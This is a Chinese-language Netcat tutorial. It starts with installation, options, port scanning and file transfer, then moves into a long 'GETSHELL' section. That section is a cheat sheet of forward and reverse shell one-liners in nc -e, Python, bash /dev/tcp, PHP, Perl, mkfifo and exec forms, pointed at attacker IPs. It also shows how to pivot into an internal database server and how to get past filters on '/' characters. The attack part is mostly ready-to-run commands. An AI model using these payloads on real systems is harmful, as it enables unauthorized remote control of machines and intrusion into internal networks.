简介
Netcat 是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的”瑞士军*刀”。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。
注意有些系统自带的nc会不带-e参数(程序重定向)这可能就需要自己去编译安装完整的版本
安装
Linux默认安装Netcat,但是安装的版本可能是阉割版,没有-e参数
解决方法:
- 安装Debian系:
sudo apt install netcat-traditional
,接着更改默认的Netcat版本:sudo update-alternatives --config nc
选择带tarditional
字样的Netcat- 如果原本就是这版本的,可以尝试安装上openbsd版本,然后再更改默认的Netcat版本
- 也可以尝试使用
nc.traditional
进行
Windows可以自行百度
参数
nc -h 查看帮助信息
-d: 后台模式
-e: 程序重定向
-g<网关>: 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目>: 设置源路由指向器的数量,值为4的倍数。
-i<延迟秒数>: 设置时间间隔,以便传送信息及扫描通信端口
-l: 使用监听模式,管理和控制传入的数据
-n: 直接使用IP地址(不通过域名服务器)
-o<输出文件>: 指定文件名称,把往来传输的数据转换为16进制字符后保存在该文件中
-p<通信端口>: 设置本机使用的通信端口
-r: 随机指定本机与远程主机的通信端口
-s<源地址>: 设置本机送出数据包的IP地址
-u: 使用UDP传输协议
-v: 详细输出
-w<超时秒数>:设置等待连线的时间
-z: 将输入/输出功能关闭,只在扫描通信端口时使用
通过上面参数的组合可以实现很多强大的功能
具体使用
banner相关信息抓取
nc -nv targetIP targetPort
连接远程主机
nc -nvv targetIP targetPort
端口扫描
扫描指定端口
nc -v targetIP targetPort
扫描端口段(速度很慢的噢)
nc -v -z targetIP lowIP-highIP
# 示例:nc -v -z 192.168.123.103 20-1024
监听端口
监听本地端口,当访问该端口时会输出该信息到命令行
nc -lp selfPort
文件传输
内网端
发送test.txt文件到目标主机
-q 1
参数会在成功传输完一个文件后自动断开,注意此参数只有用于发送端才生效
nc -vn targetIP targetPort < test.txt -q 1
从目标主机接受test.txt文件
nc lp targetIP targetPort > test.txt
外网端
发送文件到主动连接自身端口的客户机
nc -lp selfPort < test.txt -q 1
接受文件
nc -lp selfPort > test.txt
简易聊天
nc -lp selfPort
nc -vn targetIP targetPort
GETSHELL
正向shell
正向shell就是客户端连接服务器,客户端获取服务器的shell。(目标监听,攻击机连接)
目标机命令:
nc -lvp selfPort -e /bin/bash # Linux
nc -lvp selfPort -e C:\windows\system32\cmd.exe #Windows
攻击机命令:
nc targetIP targetPort
反向shell
客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发等。
攻击机监听,目标机连接
攻击机命令:
nc -lvvp selfPort
目标机命令:
nc trgetIP targetPort -e /bin/bash # Linux
nc targetIP targetPort -e C:\windows\system32\cmd.exe # Windows
Python反向shell
攻击机命令:
nc -lvvp selfPort
目标机命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.136.129",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash反向shell
攻击机命令:
nc -lvvp selfPort
目标机命令:
bash -i >& /dev/tcp/targetIP/targetPort 0>&1
PHP反向shell
攻击机命令:
nc -lvvp selfPort
目标机命令:
php -r '$sock=fsockopen("192.168.136.129",3333);exec("/bin/sh -i <&3 >&3 2>&3");'
perl反向shell
攻击机命令:
nc -lvvp selfPort
目标机命令:
perl -e 'use Socket;$i="192.168.136.129";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
内网代理
环境:攻击机无法访问数据库服务器,但是可以用过web服务器访问数据库服务器
攻击机执行:
nc -lvvp selfPort
数据库执行:
nc -lvp selfPort -e /bin/bash
web服务器执行:
nc -v sqlserverIP sqlserverPort -c "nc -v targetIP targetPort"
原理:把web服务器当作中间机,使攻击机与数据库通信
技巧之’/’符号绕过(文件传输与python反向shell结合)
依赖工具:nc, python
背景:反弹shell的操作一般离不开‘/’符号,但是有些网站会对’/‘进行过滤
绕过方法:
利用nc的传输文件:
攻击机准备getshell脚本:
nv -lnvp selfPort < cmd
cmd内容如下:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("targetIP",targetsetPort))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
如果上面的命令不能成功反弹回shell,终止上面的进程,并运行下面的命令:
nc -lnvp targetsetPort # targetsetPort是在上面cmd脚本中开放的攻击机的端口
目标机执行:
nc targetIP targetPort | python
配合命名管道进行反弹
攻击机命令:
nc -lvvp selfPort
目标机命令:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 192.168.37.132 1024 >/tmp/f
使用exec反弹
攻击机命令:
nc -lvvp selfPort
目标机命令:
0<&196;exec 196<>/dev/tcp/192.168.37.132/1024; sh <&196 >&196 2>&196